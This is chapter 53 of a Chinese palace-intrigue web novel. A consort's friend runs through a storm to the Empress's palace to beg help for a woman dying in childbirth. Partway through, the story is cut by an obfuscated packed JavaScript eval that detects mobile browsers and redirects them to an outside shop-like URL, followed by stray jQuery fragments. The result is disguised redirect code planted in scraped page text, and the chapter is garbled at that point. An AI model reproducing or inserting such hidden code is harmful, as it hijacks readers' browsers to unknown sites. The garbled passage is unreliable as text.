53. 命悬一线

作品:《娘娘要上位

    沈怀瑾被她吓了一跳,慌忙起身:“雪盏?不是让你回去了吗?怎么又跑回来了?”


    雪盏一把抓住沈怀瑾的手臂,声音因恐惧而尖利颤抖:“小、小主!不好了!撷芳殿出事了!陆常在……陆常在突然发作要生产了!”


    沈怀瑾心头一紧:“发作?不是还没到日子吗?”


    “是、是提前发动了!”雪盏急得眼泪在眼眶里打转,“而且听说是难产!稳婆说……稳婆说情况很不好!”


    沈怀瑾的脑袋“嗡”的一声。陆若霜姐姐?难产?


    她哪里还顾得上什么禁足不禁足,提起裙摆就往外冲:“走!赶紧回去!”


    两人一前一后,跌跌撞撞地冲出尚食局,朝撷芳殿的方向狂奔而去。


    头顶的乌云压得更低了,像是天公在酝酿着什么可怕的事情。


    还未踏进撷芳殿的院门,一股浓重的血腥味便裹挟着惊惶的哭喊声,猛地撞入耳膜——“常在主子啊!使不得力了……胎位倒了!逆产啊!”


    就在这时,一道惨白的闪电撕裂夜空,紧接着——“轰隆——!”


    一声炸雷劈头盖脸地砸下来,震得人耳膜生疼。积蓄已久的暴雨终于倾盆而下。


    豆大的雨点砸在青石板上,噼里啪啦作响,瞬间便汇成一道道水流。天地间像是扯起了一道密不透风的雨幕,将一切都笼罩在混沌之中。


    沈怀瑾的心猛地一沉,脚下踉跄了一下,险些摔倒。她顾不上许多,跌跌撞撞地冲进内室。眼前的景象,让她浑身的血都凉了。


    陆若霜面如金纸,仰躺在榻上,中衣已被血水浸透,大片大片的殷红触目惊心。汗水濡湿了她的发丝,一缕一缕地贴在煞白的脸颊上,整个人像是被从水里捞出来的一般。


    她的瞳孔涣散,努力地想要聚焦,终于落在沈怀瑾的脸上:“……妹妹……”她的喉间发出破碎的气音,每一个字都像是用尽了全部的力气。


    “保、保孩子……”


    沈怀瑾只觉得喉咙像是被人狠狠攥住,一个字都说不出来。


    碧萝瘫在墙角,浑身筛糠似地发抖,脸色惨白得吓人。另一个嬷嬷跪在床头,额头磕在地上,如同捣蒜一般,嘴里念叨着“菩萨保佑、菩萨保佑”。


    产婆满头大汗,双手沾满鲜血,脸上写满了绝望。


    “人呢?!太医!嬷嬷呢!”沈沈怀瑾此刻已将她学过的所有规矩礼仪抛诸脑后,声音嘶哑,抑制不住地发颤。她紧紧抓住碧萝的肩膀,仿佛抓住最后一根稻草。


    碧萝手脚并用地从地上爬起,还未站稳便又瘫软跪倒,脸上血色褪尽,哭声与话语绞在一起:“主子!陆小主她……她不足月便发动了,整整早了一个月啊!”


    她喘了口气,断断续续道:“宫里全无准备!奴婢跑遍了尚药局,可、可偏偏庄妃娘娘也在今夜足月临盆,一切早有安排……最好的张医正被调去了关雎宫,连最通妇人科的尚药令陈医正,此刻也在凤仪宫为皇后娘娘侍奉汤药……”


    话音未落,一个被雨水浇透的小太监连滚爬爬地冲进廊下,“扑通”一声跪倒在地。雨水混着泪水在他脸上纵横,他哭得上气不接下气,几乎是嚎啕着报信:“凤仪宫……凤仪宫大门紧闭!朱内侍根本不让进……说皇后娘娘凤体违和,就算是天塌下来……也、也得等到天亮才敢通报啊!”


    产婆猛地扑到床边,颤抖着手探了探陆若霜的脉息,抬起头时,满面泪汗交织,眼中写满了绝望:“血崩之势已成……没有圣手立时施针施药……”


    她的声音哽在喉间,最后四个字像是用尽了全部力气才挤出来:“大人孩子,都活不过一个时辰啊!”


    一个时辰。


    这四个字像一把钝刀,生生扎穿了沈怀瑾的魂灵。什么位份尊严、什么宫规礼仪,在即将熄灭的生命面前,轻如鸿毛。


    沈怀瑾如同被逼到绝境的困兽,最后一丝维系着她的理智,被眼前这绝望的现实彻底焚毁。她一把推开试图拦阻的静棠和雪盏,头也不回地撞进了倾盆而下的冰冷雨幕!


    “小主!”


    “小主您不能去啊!”


    身后的呼喊声被暴雨吞没,沈怀瑾充耳不闻。冰冷的雨水瞬间浇透了她的薄衫,刺骨的寒意侵入骨髓。


    长发被狂风吹散,湿漉漉地贴在额角和脖颈上,单衣湿透,紧紧裹住她的身躯。她踉踉跄跄地在雨中奔跑,在宫灯摇曳的暗影里,像一只疯癫的鬼魅。


    心口处,陆若霜所赠的那只小黄雀荷包烫得像一团炭火。雨水模糊了视线,沈怀瑾狠狠抹了把脸。恍惚间,她仿佛又回到了初入宫闱的那日。


    那时她刚被分到这偏僻的撷芳殿,屋里冷得像个冰窖。她冻得手脚发僵,是陆若霜姐姐带着宫女,亲自抱着枣木炭、兔毛手炉、厚锦被,一样一样地送进来。


    沈怀瑾脚下一个踉跄,险些摔倒,却顾不上疼,爬起来继续跑。雨水顺着脸颊往下淌,早已分不清是雨还是泪。


    她想起自己在宫中处处受挫、被萧景焕冷落的那些日子。


    旁人或冷眼相待,或出言讥讽。嬷嬷动辄罚她,纪贵人更是寻着由头便要给她难堪。在她们眼中,沈怀瑾不过是块粗糙的顽石。不懂规矩,不识时务,既无家世倚仗,又无圣眷加身,浑身上下找不出半点值得深交的价值。


    唯有陆若霜,从不曾迎高踩低。她不嫌弃沈怀瑾莽莽撞撞,不笑话她笨手笨脚。


    “记住,你是独一无二的。不要刻意去模仿别人,也不要把自己变成你以为皇上喜欢的样子。你就是你,沈怀瑾……”


    这偌大的深宫,人人都教她如何磨平棱角、循规蹈矩,唯有陆若霜告诉她,你本来的样子,就很好。


    她想起陆若霜最后叮嘱她的话:“记住,无论什么时候,都要保护好自己。”


    保护好自己……


    可陆若霜姐姐,你怎么不保护好自己?!


    雨幕深重,从偏僻的撷芳殿到六宫中央的凤仪宫,这段漫长的宫道此刻仿佛没有尽头。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864313|187123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她跑得气息灼痛,胸肺间如有炭火在烧,双腿灌了铅一般沉重。绣鞋浸透了水,湿透的衣衫紧贴在身上,每跑一步都像拖拽着千斤重担。


    终于,当凤仪宫门近在眼前时,她用尽最后一丝力气扑跪在宫门外的积水里。冰冷的水浸透了她的膝盖,她却浑然不觉。她十指狠狠抠住那沉重的铜制门环,用力砸下去——


    “砰!砰!砰!”


    冰冷的铜铁撞击声,混着沈怀瑾的哭求:“皇后娘娘——开恩啊!撷芳殿陆常在血崩逆产,命在顷刻!求娘娘垂怜,赐下尚药令!陆常在等不得了!求娘娘开恩!开恩啊——!”


    她手掌被粗糙的门环震出鲜血,浸湿了紧攥在拳心的荷包。那一对相依相偎的小黄雀,在指缝的血水中,只露出半片伶俐的羽翅。


    漫天大雨如天河倒灌,几乎要盖过她声嘶力竭的哭喊。巍峨的宫墙沉默地矗立着,门内毫无动静,只有檐下灯笼在风中疯狂摆荡,将沈怀瑾孤零零的影子投在冰冷的地上,像一只折断了翅膀、仍在苦苦扑簌的鸟。


    陆若霜,你要撑住……


    撑住啊……


    沈怀瑾的指甲深深掐入荷包的绣线里,无声地祈祷。


    终于,凤仪宫沉重的门扉裂开了一道缝。


    一个身着暗绿太监服的身影探出头来,满脸不耐地望着跪在泥水中的沈怀瑾。


    “哪个宫的?这都什么时辰了,没规矩!”他压低声音呵斥,“娘娘凤体不适,今夜就是天大的事也得等!“


    说罢,便要将门合上。


    “不行!”


    沈怀瑾猛地扑上去,双手死死抵住门扉:“撷芳殿陆常在难产!血崩!等不到天亮了!”


    “放肆!惊扰凤驾,你有几个脑袋——”那小太监厉声呵斥,试图将门合上。


    话未说完,沈怀瑾猛地一发力,硬生生将门撞开了一道足以容身的缝隙,整个人跌跌撞撞地冲了进去。


    “拦住她!拦住她!”


    几个太监惊呼着扑上来,想要将她拿下。然而沈怀瑾自幼习武,危急关头爆发出的力道岂是这些养尊处优的内侍能挡?她左冲右突,硬是从人群中撕开一条路,一边挣扎一边声嘶力竭地喊——


    “皇后娘娘——!皇后娘娘——!开恩啊!撷芳殿陆常在血崩逆产,命在顷刻!”


    “求娘娘垂怜,赐下尚药令!陆常在等不得了!”


    她状若疯癫,平日隐藏的力气此刻尽数爆发,几个太监一时竟真拦她不住。混乱的撕扯与哭喊声终究是惊动了内殿。


    就在这不可开交之际,一个沉着严厉的女声从内传来:“何人在此撒野!”


    众人顿时僵住。


    只见瑞雪姑姑带着一身寒气出现在廊下,脸色阴沉得能滴出水来。她目光如刀,先狠狠剐了那几个办事不力的太监一眼,随即落在泥泞不堪、浑身湿透的沈怀瑾身上,眉头紧锁。


    “成何体统!”她冷声斥道,“深更半夜,闯宫惊驾,你好大的胆子!”